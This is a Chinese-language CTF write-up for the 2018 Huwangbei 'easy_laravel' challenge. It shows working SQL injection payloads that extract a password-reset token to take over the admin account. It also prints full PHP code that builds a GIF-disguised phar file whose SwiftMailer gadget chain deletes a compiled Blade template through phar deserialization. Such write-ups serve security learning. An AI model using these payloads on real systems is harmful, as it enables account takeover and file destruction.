18年护网杯 Easy Laravel Writeup

新人第一次写writeup,如有不足之处请多指正,谢谢!

这是2018年护网杯的easy_laravel,做题平台是攻防世界,难度10

代码审计&SQL注入

首先进来直接代码审计,网页源代码直接给了源码地址,简单粗暴

 

显然是个PHP的WEB框架

 

看到有登录界面,在源码中寻找登录逻辑。关注数据库的动态时可以全局搜索DB关键字。

 

显然notes存在注入,回显get

别的也都查查,果然,在reset_admin_passwd.php里找到了

 

最后在这里发现了一些admin的信息

 

到这里整体思路就差不多了,sql注入,reset一下admin,还有一个token

先利用note上的sql注入,构造payload:

admin’ union select 1,2,3,4,5--

成功,回显是2,2就是注入点了

 login页面有重置密码的选项,根据重置密码的表可知重置密码需要邮箱和token,邮箱已经有了,看起来是只剩下token了

 

 构造payload:

admin' union select 1,(select email||'::'||token from password_resets limit 0,1),3,4,5--

注入,token get!个毛线。。。

什么都没显示出来。。。

这就很奇怪了,反复检查了下语句,应该是没问题的。反复试了几个payload,都没用。当我以为这道题到此为止的时候,突然灵光一现:清下缓存!

果然,清完缓存再注入token就出来了

 

提权

剩下就简单了,用邮件地址和token提权至admin,然后用admin的帐号查看flag就行了。。。最开始我是这么想的,我很愉快地登上了admin,自行点开flag,结果。。。

 

不愧是难度10

Blade expired&phar 反序列化

重新审视一下这道题,这道题从名字上就能看出来是关于laravel的,而在 laravel 中,模板文件会被编译放到 storage/framework/views 中,并且会判断编译后的文件是否过期,判断的依据是修改日期。也就是说编译后的.blade.php文件顶替了原版文件,将其删除即可。此时观察主页功能,发现有个uoload的功能,检查相关文件。

 

 在UploadController中发现文件后缀必须是图片,且在UploadRequest 看到文件是被上传到了 $this->path,也就是 storage/app/public

 不好直接访问,上传脚本pass

 这里接收了两个参数 path 和 filename且file_exists 中的参数完全可控,所以可以使用 phar:// 协议来触发反序列化

admin帐号的note中有这么一句话

 可知是apache的默认地址

blade缓存位置是 

storage/framework/views

apache的默认目录是

 /var/www/html/

 

在一起就是 

/var/www/html/storage/framework/views

sha1加密后                         

/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php

PALOAD

借鉴一个exp,用php打包为phar

<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{
    /**
     * Write sequence.
     */
    protected $_sequence = 0;

    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $_filters = array();

    /**
     * A buffer for writing.
     */
    private $_writeBuffer = '';

    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $_mirrors = array();

}

class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    public function __construct($path, $writable = false) {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }

}

class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
    public function __construct()
    {
        $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";

        parent::__construct($filePath, true);
    }
    public function __destruct()
    {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}


$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
?>

把后缀改为.gif,上传,修改path

 

 

flag,get!

 

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值